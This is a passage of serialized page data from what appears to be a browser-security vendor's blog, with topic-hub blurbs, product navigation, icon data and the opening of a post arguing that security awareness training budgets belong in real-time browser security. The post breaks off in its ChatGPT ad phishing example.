teams.",74,{"sys":576,"faqItemsCollection":578,"name":580,"slug":581,"tier":45,"intro":582,"faqTitle":59,"postCount":583,"hasPage":19},{"id":577},"topic-shadow-ai",{"items":579},[],"Shadow AI","shadow-ai","Shadow AI is employees’ unsanctioned use of AI tools at work, putting corporate data into chatbots and assistants that security teams never approved and can’t see. Push’s own browser telemetry shows AI adoption acting as a force multiplier for shadow IT — potentially now outscaling shadow SaaS — and this hub tracks that research, real-world breach examples, and practical controls.",20,{"sys":585,"faqItemsCollection":587,"name":589,"slug":590,"tier":45,"intro":591,"faqTitle":59,"postCount":592,"hasPage":19},{"id":586},"topic-shadow-saas",{"items":588},[],"Shadow SaaS","shadow-saas","Shadow SaaS is the cloud applications employees adopt for work without IT approval, each one creating unmanaged accounts, identities, and data outside your security controls. Push covers the problem end to end — from browser-based SaaS discovery to in-browser app banners and MFA enforcement — alongside breach analyses that show where unmanaged accounts lead.",75,{"sys":594,"faqItemsCollection":596,"name":598,"slug":599,"tier":45,"intro":600,"faqTitle":59,"postCount":601,"hasPage":19},{"id":595},"topic-siem",{"items":597},[],"SIEM","siem","A SIEM is only as good as the telemetry feeding it, and most log sources never see what happens inside the browser — where phishing, session token theft, and account takeover actually play out. Push streams browser-level detections and identity telemetry into SIEMs, and these posts show how that data improves detection fidelity and cuts alert fatigue.",19,{"sys":603,"faqItemsCollection":605,"name":607,"slug":608,"tier":45,"intro":609,"faqTitle":59,"postCount":610,"hasPage":19},{"id":604},"topic-social-engineering",{"items":606},[],"Social engineering","social-engineering","Social engineering is the manipulation of people — through phishing pages, help desk impersonation, vishing calls, and poisoned tenant invites — into handing over access that no exploit could take. Coverage here tracks how threat actors run these plays — drawing on Push’s ongoing investigation of live phishing infrastructure and criminal tooling.",59,{"sys":612,"faqItemsCollection":614,"name":616,"slug":617,"tier":31,"intro":618,"faqTitle":59,"postCount":557,"hasPage":6},{"id":613},"topic-supply-chain-security",{"items":615},[],"Supply chain security","supply-chain-security","Supply chain security extends beyond your own perimeter to the vendors, platforms, and browser extensions your organization depends on. A compromised third party can hand attackers legitimate access — as recent campaigns against SaaS providers have shown. Push’s research examines the browser-extension supply chain in particular: why extension risk scores fail to predict compromise, and how developers can harden extensions against takeover. These posts frame supply chain risk through a browser and identity lens.",{"sys":620,"faqItemsCollection":622,"name":624,"slug":625,"tier":45,"intro":626,"faqTitle":59,"postCount":627,"hasPage":19},{"id":621},"topic-swg",{"items":623},[],"SWG","swg","A secure web gateway (SWG) filters and inspects web traffic in transit, sitting in the network path between users and the internet. That position shows you the packet but not the session: Push’s research on AitM phishing kits documents how attackers break the signatures proxies rely on, and these posts explain why phishing detection is moving from the network path into the browser itself.",17,{"sys":629,"faqItemsCollection":631,"name":633,"slug":634,"tier":45,"intro":635,"faqTitle":59,"postCount":636,"hasPage":19},{"id":630},"topic-third-party-risk",{"items":632},[],"Third-party risk","third-party-risk","Third-party risk is the exposure your organization inherits from vendors, SaaS providers, and integrations that hold your data or access your tenants — a chain now extended one employee sign-up at a time. This hub collects Push’s breach analyses and guides for assessing OAuth integrations, managing browser extensions, and responding when a supplier is compromised.",44,{"sys":638,"faqItemsCollection":640,"name":642,"slug":643,"tier":31,"intro":644,"faqTitle":59,"postCount":398,"hasPage":19},{"id":639},"topic-threat-landscape",{"items":641},[],"Threat landscape","threat-landscape","The enterprise threat landscape is now defined by identity attacks: criminals log in with phished, stolen, or stuffed credentials rather than breaking infrastructure. Threat actors keep proving how effective help desk scams, MFA bypass, and session theft are against well-defended organizations. Drawing on breach analyses, annual phishing trend reviews, and in-the-wild campaign tracking, Push documents how attacker TTPs are shifting. This hub is where to follow those changes.",{"sys":646,"faqItemsCollection":648,"name":650,"slug":651,"tier":45,"intro":652,"faqTitle":59,"postCount":371,"hasPage":19},{"id":647},"topic-vishing",{"items":649},[],"Vishing","vishing","Vishing — voice phishing — uses phone calls to impersonate IT support, help desks, or employees, talking targets into password resets, MFA approvals, or opening attacker-controlled pages. Threat actors now routinely pair calls with AiTM phishing to hijack SSO accounts, a chain Push has analyzed across campaigns targeting hundreds of organizations.",{},"blogtopics","w0ITersBlkytyrxHNkTEFmGsSW5X9NfdbmeXV1u8bAo",[657,661,665,669,673],{"title":658,"logo":659,"createdDate":660},"SOC2","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fb6727a5e00004d6e9e69fc3068b8b64c",1784291539953,{"title":662,"logo":663,"createdDate":664},"GDPR","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ffe49f53211674deaa5a6640d929cdf42?format=webp",1784291672535,{"title":666,"logo":667,"createdDate":668},"Cyber essentials","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F53558c1045a342a7a28def960cd54ae7?format=webp",1784291702710,{"title":670,"logo":671,"createdDate":672},"ISO IEC 27001","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F578a404a61cf45db951a41fe3554d12d",1784291766222,{"title":674,"logo":675,"createdDate":676},"ISO IEC 27701","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fbe219844b13242fbba531959579a753c",1784291858848,[678,730,775],{"id":679,"label":680,"text":21,"navIcon":681,"items":682},"stop-browser-based-attacks","Stop browser-based attacks","solid:faShieldHalved",[683,688,693,698,703,708,712,717,721,725],{"title":684,"text":685,"url":686,"navIcon":687},"Adversary-in-the-Middle","Detect and block AiTM proxies stealing session tokens.","/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks","solid:faUserSecret",{"title":689,"text":690,"url":691,"navIcon":692},"ClickFix (+Fix variants)","Block attacks that trick users into running malicious code.","/solution/stop-browser-based-attacks/clickfix-fix-variants","sharp-regular:faLaptopCode",{"title":694,"text":695,"url":696,"navIcon":697},"Malicious OAuth integrations","Detect suspicious OAuth consent flows and stop persistent access.","/solution/stop-browser-based-attacks/malicious-oauth-integrations","solid:faPlugCircleXmark",{"title":699,"text":700,"url":701,"navIcon":702},"Malicious browser extensions","Shine a light on risky browser extensions.","/solution/stop-browser-based-attacks/malicious-browser-extensions","sharp-regular:faPuzzlePiece",{"title":704,"text":705,"url":706,"navIcon":707},"Malicious file downloads","Gain visibility into browser downloads and block malicious files.","/solution/stop-browser-based-attacks/malicious-file-downloads","solid:faFileCircleXmark",{"title":395,"text":709,"url":710,"navIcon":711},"Surface hidden login paths that bypass SSO and expose accounts.","/solution/stop-browser-based-attacks/ghost-logins","solid:faGhost",{"title":713,"text":714,"url":715,"navIcon":716},"Mobile phishing (QR & SMS)","Detect phishing links delivered via SMS and QR codes.","/solution/stop-browser-based-attacks/mobile-phishing-qr-code-sms","solid:faQrcode",{"title":333,"text":718,"url":719,"navIcon":720},"Identify reused and compromised credentials across SaaS logins.","/solution/stop-browser-based-attacks/credential-stuffing","custom:credentialStuffing",{"title":571,"text":722,"url":723,"navIcon":724},"Detect and block stolen session tokens before attackers get access.","/solution/stop-browser-based-attacks/session-hijacking","solid:faCookieBite",{"title":726,"text":727,"url":728,"navIcon":729},"Zero-day phishing","Detect phishing TTPs directly in the browser and stop credential theft.","/solution/stop-browser-based-attacks/zero-day-phishing","sharp-regular:faFishingRod",{"id":731,"label":732,"text":21,"navIcon":733,"items":734},"achieve-security-outcomes","Achieve security outcomes","solid:faCheckToSlot",[735,740,745,750,755,760,765,770],{"title":736,"text":737,"url":738,"navIcon":739},"Stop account takeover","Stop ATO with stolen credential and compromised token detection.","/solution/achieve-security-outcomes/stop-account-takeover","sharp-regular:faUserSecret",{"title":741,"text":742,"url":743,"navIcon":744},"Harden unmanaged identities","Harden access paths with visibility, detection, and guardrails.","/solution/achieve-security-outcomes/harden-unmanaged-identities","sharp-regular:faRadar",{"title":746,"text":747,"url":748,"navIcon":749},"Investigate browser-related incidents","Investigate and respond faster with unique browser telemetry.","/solution/achieve-security-outcomes/investigate-browser-related-incidents","sharp-regular:faSatelliteDish",{"title":751,"text":752,"url":753,"navIcon":754},"Secure shadow SaaS","See and control shadow SaaS in the browser.","/solution/achieve-security-outcomes/secure-shadow-saas","sharp-regular:faShieldCheck",{"title":756,"text":757,"url":758,"navIcon":759},"Secure AI","See and control AI apps in the browser.","/solution/achieve-security-outcomes/secure-ai","sharp-regular:faBrainCircuit",{"title":761,"text":762,"url":763,"navIcon":764},"Secure BYOD","Extend consistent browser-based protection to unmanaged devices.","/solution/achieve-security-outcomes/secure-bring-your-own-device","solid:faMobileScreenButton",{"title":766,"text":767,"url":768,"navIcon":769},"Secure Chromebooks","Secure browser activity on Chromebooks without endpoint agents.","/solution/achieve-security-outcomes/secure-chromebooks","brands:faChrome",{"title":771,"text":772,"url":773,"navIcon":774},"Investigate and stop data loss","Detect and prevent data loss across AI tools, apps, and sessions.","/solution/achieve-security-outcomes/investigate-and-stop-data-loss","custom:investigateAndStopDataLoss",{"id":776,"label":777,"text":21,"navIcon":778,"items":779},"tool-replacements","Tool replacements","solid:faScrewdriverWrench",[780,785,790,795],{"title":781,"text":782,"url":783,"navIcon":784},"Remote browser isolation","Detect attacks that look like normal browsing.","/solution/tool-replacements/remote-browser-isolation","solid:faDisplay",{"title":786,"text":787,"url":788,"navIcon":789},"Secure web gateways","Detect attacks inside the browser after SWGs allowed the connection.","/solution/tool-replacements/secure-web-gateways","solid:faFilter",{"title":791,"text":792,"url":793,"navIcon":794},"Cloud access security broker","Catch browser-based identity threats in real time, not after the fact.","/solution/tool-replacements/cloud-access-security-broker","solid:faCloudArrowUp",{"title":796,"text":797,"url":798,"navIcon":799},"Security awareness training","Block real phishing instead of training users on simulations.","/solution/tool-replacements/security-awareness-training","custom:securityAwareness",{"w":801,"h":802,"d":803},448,512,"M171-16c-36.4 0-57.8 58.3-68.3 112L72 96c-13.3 0-24 10.7-24 24s10.7 24 24 24l24 0 0 32c0 17 3.3 33.2 9.3 48l-9.3 0 0 0-20.5 0c-15.2 0-27.5 12.3-27.5 27.5 0 3 .5 5.9 1.4 8.7l28.9 86.6C40.2 379.6 16 428.1 16 482.3 16 498.7 29.3 512 45.7 512l356.6 0c16.4 0 29.7-13.3 29.7-29.7 0-54.2-24.2-102.7-62.3-135.4l28.9-86.6c.9-2.8 1.4-5.7 1.4-8.7 0-15.2-12.3-27.5-27.5-27.5l-20.5 0 0 0-9.3 0c6-14.8 9.3-31 9.3-48l0-32 24 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-30.7 0c-10.4-53.7-31.9-112-68.3-112-9.6 0-19 3.9-27.5 8.2-8.2 4.1-18.4 7.8-25.5 7.8s-17.3-3.7-25.5-7.8C190-12.1 180.6-16 171-16zm93.7 484.4l-24.8-70.9 27.9-32.5c2.7-3.2 4.2-7.2 4.2-11.4 0-9.7-7.8-17.5-17.5-17.5l-61 0c-9.7 0-17.5 7.8-17.5 17.5 0 4.2 1.5 8.2 4.2 11.4l27.9 32.5-24.8 70.9-57-180.4 35.7 0c18.4 10.2 39.5 16 62 16s43.6-5.8 62-16l35.7 0-57 180.4zM224 256c-34.7 0-64.2-22.1-75.3-53 5.7 3.2 12.3 5 19.3 5l12.4 0c16.5 0 31.1-10.6 36.3-26.2 2.3-7 12.2-7 14.5 0 5.2 15.6 19.9 26.2 36.3 26.2l12.4 0c7 0 13.6-1.8 19.3-5-11.1 30.9-40.6 53-75.3 53z",{"w":17,"h":802,"d":805},"M112 80l416 0 0 224 48 0 0-272-512 0 0 272 48 0 0-224zM48 404.1l0-4.1 544 0 0 4.1-27.9 27.9-488.2 0-27.9-27.9zM592 352l-592 0 0 72 56 56 528 0 56-56 0-72-48 0zM281 169l17-17-33.9-33.9c-6.1 6.1-27.8 27.8-65 65l-17 17c6.1 6.1 27.8 27.8 65 65l17 17 33.9-33.9c-9-9-25-25-48-48l31-31zM393 135l-17-17-33.9 33.9c9 9 25 25 48 48-23 23-39 39-48 48L376 281.9c6.1-6.1 27.8-27.8 65-65l17-17c-6.1-6.1-27.8-27.8-65-65z",{"w":17,"h":802,"d":807},"M192-32c17.7 0 32 14.3 32 32l0 96 128 0 0-96c0-17.7 14.3-32 32-32s32 14.3 32 32l0 96 64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l0 48.7c-98.6 8.1-176 90.7-176 191.3 0 27.3 5.7 53.3 16 76.9l0 3.1c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-66.7C165.2 398.1 96 319.1 96 224l0-64c-17.7 0-32-14.3-32-32S78.3 96 96 96l64 0 0-96c0-17.7 14.3-32 32-32zM496 256a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-36.7 36.7-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l36.7 36.7-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l36.7-36.7 36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-36.7-36.7 36.7-36.7z",{"w":802,"h":802,"d":809},"M201.1 57.3c-7 5.3-9.1 10.7-9.1 14.7 0 4.5 2.8 11.2 12.4 16.9l11.6 7 0 48.1-168 0 0 60.5c7.4-2.9 15.5-4.5 24-4.5 43.1 0 72 39.4 72 80s-28.9 80-72 80c-8.5 0-16.6-1.6-24-4.5l0 108.5 108.5 0c-2.9-7.4-4.5-15.5-4.5-24 0-43.1 39.4-72 80-72s80 28.9 80 72c0 8.5-1.6 16.6-4.5 24l60.5 0 0-168 48.1 0 7 11.6c5.8 9.6 12.4 12.4 16.9 12.4 4 0 9.5-2.1 14.7-9.1s9.3-17.9 9.3-30.9-4-23.8-9.3-30.9-10.7-9.1-14.7-9.1c-4.5 0-11.2 2.8-16.9 12.4l-7 11.6-48.1 0 0-120-120 0 0-48.1 11.6-7c9.6-5.8 12.4-12.4 12.4-16.9 0-4-2.1-9.5-9.1-14.7S245 48 232 48 208.2 52 201.1 57.3zM172.3 18.9C188.5 6.8 209.6 0 232 0S275.5 6.8 291.7 18.9 320 49.5 320 72c0 8.6-1.8 16.7-4.9 24l100.9 0 0 100.9c7.3-3.1 15.4-4.9 24-4.9 22.5 0 41 12.2 53.1 28.3s18.9 37.3 18.9 59.7-6.8 43.5-18.9 59.7-30.6 28.3-53.1 28.3c-8.6 0-16.7-1.8-24-4.9l0 148.9-168 0 0-49.3 8.2-7.2c5.4-4.7 7.8-10.3 7.8-15.5 0-9.9-10.7-24-32-24s-32 14.1-32 24c0 5.3 2.4 10.8 7.8 15.5l8.2 7.2 0 49.3-216 0 0-216 49.3 0 7.2 8.2c4.7 5.4 10.3 7.8 15.5 7.8 9.9 0 24-10.7 24-32s-14.1-32-24-32c-5.3 0-10.8 2.4-15.5 7.8L49.3 264 0 264 0 96 148.9 96c-3.1-7.3-4.9-15.4-4.9-24 0-22.5 12.2-41 28.3-53.1z",{"w":811,"h":802,"d":812},576,"M96 0C60.7 0 32 28.7 32 64l0 384c0 35.3 28.7 64 64 64l180 0c-22.7-31.5-36-70.2-36-112 0-100.6 77.4-183.2 176-191.3l0-38.1c0-17-6.7-33.3-18.7-45.3L290.7 18.7C278.7 6.7 262.5 0 245.5 0L96 0zM357.5 176L264 176c-13.3 0-24-10.7-24-24L240 58.5 357.5 176zM432 544a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7l-36.7 36.7 36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-36.7-36.7-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l36.7-36.7-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l36.7 36.7 36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z",{"w":814,"h":802,"d":815},384,"M40.1 467.1l-11.2 9C25.7 478.6 21.8 480 17.8 480 8 480 0 472 0 462.2L0 192C0 86 86 0 192 0S384 86 384 192l0 270.2c0 9.8-8 17.8-17.8 17.8-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z",{"w":801,"h":802,"d":817},"M64 160l64 0 0-64-64 0 0 64zM0 80C0 53.5 21.5 32 48 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48L0 80zM64 416l64 0 0-64-64 0 0 64zM0 336c0-26.5 21.5-48 48-48l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96zM320 96l0 64 64 0 0-64-64 0zM304 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96c0-26.5 21.5-48 48-48zM288 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 64c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm96 32c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm32-96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-32 32a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z",{"w":802,"h":802,"d":819},"M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9-.9-5.3-5.3-9.3-10.6-10.1-51.5-8.2-92.8-47.1-104.5-97.4-1.8-7.6-8-13.4-15.7-14.6-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z",{"w":801,"h":802,"d":821},"M284.6 0l91.4 0 0 160-48 0 0-112-36.6 0-203.4 58.1 0 181.9 40 0 0 224-128 0 0-224 40 0 0-218.1 17.4-5 224-64 3.2-.9zM80 336l-32 0 0 128 32 0 0-128zm176 8c0-76.8 64-136 96-152 32 16 96 75.2 96 152 0 32-16 80-64 112l32 40 0 16-128 0 0-16 32-40c-48-32-64-80-64-112zm128-32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z",{"w":801,"h":802,"d":823},"M144-16l-48 112-48 0 0 48 48 0 0 32c0 17 3.3 33.2 9.3 48l-73.3 0 0 32 5.3 16 26.7 80-64 160 51.7 0 56.9-142.2 6.5-16.3c-1-3.1-10.1-30.3-27.2-81.5l51.4 0c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32l51.4 0c-17.1 51.2-26.1 78.4-27.2 81.5l6.5 16.3 56.9 142.2 51.7 0-64-160 26.7-80 5.3-16 0-32-73.3 0c6-14.8 9.3-31 9.3-48l0-32 48 0 0-48-48 0-48-112-32 0-48 32-48-32-32 0zm80 272c-32.8 0-61-19.7-73.3-48l57.3 0 16-40 16 40 57.3 0c-12.3 28.3-40.5 48-73.3 48zm17.5 139.6l30.5-35.6 0-24-96 0 0 24 30.5 35.6-46.5 116.4 128 0-46.5-116.4z",{"w":802,"h":802,"d":825},"M497.4 49l17-17-33.9-33.9C473.6 4.9 453.3 25.2 419.7 58.8 375.4 22.1 318.5 0 256.4 0 115.1 0 .4 114.6 .4 256s114.6 256 256 256 256-114.6 256-256l-48 0c0 114.9-93.1 208-208 208s-208-93.1-208-208 93.1-208 208-208c48.8 0 93.7 16.8 129.1 44.9l-45.7 45.7c-23.5-16.8-52.3-26.6-83.4-26.6-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144l-48 0c0 53-43 96-96 96s-96-43-96-96 43-96 96-96c17.8 0 34.5 4.8 48.8 13.3-52 52-79.5 79.5-82.7 82.7l33.9 33.9 17-17 224-224z",{"w":802,"h":802,"d":827},"M208 0l24 0C386.6 0 512 125.4 512 280l0 24-48 0 0-24C464 151.9 360.1 48 232 48l-24 0 0-48zm24 96c101.6 0 184 82.4 184 184l0 24-48 0 0-24c0-75.1-60.9-136-136-136l-24 0 0-48 24 0zM48 256c0 114.9 93.1 208 208 208 22.9 0 45-3.7 65.6-10.5l-263-263C51.7 211 48 233.1 48 256zM0 256c0-36.5 7.6-71.3 21.4-102.7 6.7-15.3 14.9-29.9 24.4-43.5 7.7 7.7 61.5 61.5 161.2 161.2 30.5-30.5 49.5-49.5 57-57L297.9 248c-7.5 7.5-26.5 26.5-57 57 99.7 99.7 153.5 153.5 161.2 161.2-13.6 9.5-28.2 17.7-43.5 24.4-31.4 13.8-66.2 21.4-102.7 21.4-141.4 0-256-114.6-256-256z",{"w":802,"h":802,"d":829},"M267.6 4.5l207.5 80.5 19.2 7.4 1.2 20.5c2.9 50-4.9 126.3-37.3 200.9-32.7 75.2-91.1 150-189.4 192.5l-12.7 5.5-12.7-5.5C144.9 463.9 86.6 389.2 53.9 313.9 21.5 239.3 13.7 162.9 16.6 113L17.8 92.5 37 85 244.5 4.5 256 0 267.6 4.5zM64.1 126C63.1 169.5 71 232.9 97.9 294.8 126.1 359.7 175 422.4 256 459.6 337.1 422.4 385.9 359.7 414.2 294.8 441 232.9 449 169.5 448 126L256 51.5 64.1 126zm302.3 44.7L352.3 190.1 249.8 330.9 233 354c-8.8-9.1-30.9-32-66.2-68.6l-16.7-17.3 34.5-33.3c9.5 9.8 23.9 24.7 43.2 44.7l85.6-117.7 14.1-19.4 38.8 28.2z",{"w":802,"h":802,"d":831},"M192 48l40 0 0 108-12.4 0c-7.6-16.5-24.3-28-43.6-28-26.5 0-48 21.5-48 48s21.5 48 48 48c19.4 0 36.1-11.5 43.6-28l12.4 0 0 56-92 0 0 56.4c-16.5 7.6-28 24.3-28 43.6 0 26.5 21.5 48 48 48s48-21.5 48-48c0-19.4-11.5-36.1-28-43.6l0-16.4 52 0 0 172-40 0c-16.8 0-31.2-10.3-37.1-25.1l-6.4-16-17.2 1c-1.1 .1-2.2 .1-3.2 .1-30.9 0-56-25.1-56-56 0-9.5 2.4-18.5 6.5-26.3l8.7-16.2-13.4-12.6c-11-10.2-17.8-24.8-17.8-40.9 0-21.6 12.2-40.4 30.3-49.8l22.6-11.7-13.1-21.9c-5-8.4-7.9-18.1-7.9-28.6 0-30.9 25.1-56 56-56l24 0 0-32c0-13.3 10.7-24 24-24zm88 148l12.4 0c7.6 16.5 24.3 28 43.6 28 26.5 0 48-21.5 48-48s-21.5-48-48-48c-19.4 0-36.1 11.5-43.6 28l-12.4 0 0-108 40 0c13.3 0 24 10.7 24 24l0 32 24 0c30.9 0 56 25.1 56 56 0 10.5-2.9 20.3-7.9 28.6l-13.1 21.9 22.6 11.7c18 9.3 30.3 28.1 30.3 49.8 0 16.1-6.8 30.7-17.8 40.9l-13.4 12.6 8.7 16.2c4.2 7.8 6.5 16.7 6.5 26.3 0 30.9-25.1 56-56 56-1.1 0-2.2 0-3.2-.1l-17.2-1-6.4 16C351.2 453.7 336.8 464 320 464l-40 0 0-76 92 0 0-56.4c16.5-7.6 28-24.3 28-43.6 0-26.5-21.5-48-48-48s-48 21.5-48 48c0 19.4 11.5 36.1 28 43.6l0 16.4-52 0 0-152zM192 512l128 0c31.1 0 58.4-16.2 74.1-40.5 52.7-5.1 93.9-49.5 93.9-103.5 0-11.5-1.9-22.5-5.3-32.9 13.4-17.5 21.3-39.4 21.3-63.1 0-32-14.5-60.6-37.1-79.7 3.3-10.2 5.1-21.1 5.1-32.3 0-49.6-34.8-91.1-81.3-101.5-6.3-33.3-35.6-58.5-70.7-58.5L192 0c-35.1 0-64.4 25.2-70.7 58.5-46.5 10.4-81.3 51.9-81.3 101.5 0 11.3 1.8 22.2 5.1 32.3-22.7 19.1-37.1 47.7-37.1 79.7 0 23.7 8 45.6 21.3 63.1-3.5 10.4-5.3 21.4-5.3 32.9 0 54 41.2 98.5 93.9 103.5 15.6 24.3 42.9 40.5 74.1 40.5zM336 192a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm32 96a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zM176 352a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zm16-176a16 16 0 1 1 -32 0 16 16 0 1 1 32 0z",{"w":814,"h":802,"d":833},"M16 64C16 28.7 44.7 0 80 0L304 0c35.3 0 64 28.7 64 64l0 384c0 35.3-28.7 64-64 64L80 512c-35.3 0-64-28.7-64-64L16 64zm64 0l0 304 224 0 0-304-224 0zM192 472c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z",{"w":802,"h":802,"d":835},"M0 256c0-46.6 12.5-90.4 34.3-128.9L144.1 318.3c21.9 39.2 63.8 65.7 111.9 65.7 14.3 0 27.1-2.3 40.8-6.6L220.5 509.6C95.9 492.3 0 385.3 0 256zm365.1 65.6c12.3-19.2 18.9-42.5 18.9-65.6 0-38.2-16.8-72.5-43.3-96l152.7 0c12 29.6 18.6 62.1 18.6 96 0 141.4-114.6 255.1-256 256L365.1 321.6zM477.8 128L256 128c-62.9 0-113.7 44.1-125.5 102.7L54.2 98.5C101 38.5 174 0 256 0 350.8 0 433.5 51.5 477.8 128zM344 256a88 88 0 1 1 -176 0 88 88 0 1 1 176 0z",{"w":802,"h":802,"d":837},"M448 96l0 256-384 0 0-256 384 0zM64 32C28.7 32 0 60.7 0 96L0 352c0 35.3 28.7 64 64 64l144 0-16 48-72 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l272 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-72 0-16-48 144 0c35.3 0 64-28.7 64-64l0-256c0-35.3-28.7-64-64-64L64 32z",{"w":802,"h":802,"d":839},"M32 64C19.1 64 7.4 71.8 2.4 83.8S.2 109.5 9.4 118.6L192 301.3 192 416c0 8.5 3.4 16.6 9.4 22.6l64 64c9.2 9.2 22.9 11.9 34.9 6.9S320 492.9 320 480l0-178.7 182.6-182.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 64 480 64L32 64z",{"w":811,"h":802,"d":841},"M144 480c-79.5 0-144-64.5-144-144 0-63.4 41-117.2 97.9-136.5-1.3-7.7-1.9-15.5-1.9-23.5 0-79.5 64.5-144 144-144 55.4 0 103.5 31.3 127.6 77.1 14.2-8.3 30.8-13.1 48.4-13.1 53 0 96 43 96 96 0 15.7-3.8 30.6-10.5 43.7 44 20.3 74.5 64.7 74.5 116.3 0 70.7-57.3 128-128 128l-304 0zM305 191c-9.4-9.4-24.6-9.4-33.9 0l-72 72c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l31-31 0 102.1c0 13.3 10.7 24 24 24s24-10.7 24-24l0-102.1 31 31c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72z",[843,4674,7861,13422,16464,19017,23879,27163,30146,32785,35870,38910,42040,46444,50444,54597,58737,62474,68054,71240,74227,75563,76751,77939,81601,84338,86462,89978,92821,94838,96906,99313,101399,104171,106280,108413,111079,113931,116512,119048,121338,124172,126093,127031,127955,131020,133356,135681,138726,141647,144194,147103,150416,153324,157178,160171,163147,166394,170169,172303,175623,178703,181597,187449,190016,191297,193039,197432,198408,201848,205454,208116,210020,211330],{"id":844,"title":845,"authorsCollection":846,"content":854,"extension":228,"faqItemsCollection":1420,"faqTitle":59,"featured":6,"hashTags":59,"meta":1422,"metaTitle":1423,"ogImage":59,"postType":1424,"publishedDate":1425,"relatedBlogPostsCollection":1426,"slug":4619,"stem":4620,"subtitle":59,"summary":4621,"synopsis":4632,"sys":4633,"tagsCollection":4636,"topicsCollection":4643,"__hash__":4673},"blog/blog/why-your-training-budget-belongs-in-real-time-browser-security.json","Why your training budget belongs in real-time browser security",{"items":847},[848],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":852},"Mark Orlando","Mark","Field CTO",{"url":853},"https://images.ctfassets.net/y1cdw1ablpvd/592PMwIQQFaa24k5SKBEKF/a33090d0ad95d1e3081f5d16a46ba826/image__68_.png",{"json":855,"links":1383},{"data":856,"content":857,"nodeType":1382},{},[858,867,874,904,913,919,928,962,969,973,982,989,1030,1073,1092,1128,1144,1147,1155,1162,1179,1186,1192,1199,1205,1208,1216,1240,1247,1266,1273,1280,1309,1318,1325,1332,1339,1347,1350,1357,1364],{"data":859,"content":860,"nodeType":866},{},[861],{"data":862,"marks":863,"value":864,"nodeType":865},{},[],"The compliance email arrives on schedule: \"All employees must complete annual security awareness training by Friday.\" Across the organization, hundreds of employees skim through presentations about phishing emails, answer predictable quiz questions, and return to work feeling modestly more informed about cybersecurity.","text","paragraph",{"data":868,"content":869,"nodeType":866},{},[870],{"data":871,"marks":872,"value":873,"nodeType":865},{},[],"Two weeks later, an employee in the marketing department — encouraged by the company's AI adoption initiative — searches Google for \"ChatGPT\" to access the tool they'd been told to start using. They click the top result, a sponsored ad pointing to a chatgpt.com URL. The page displays a professional-looking ChatGPT 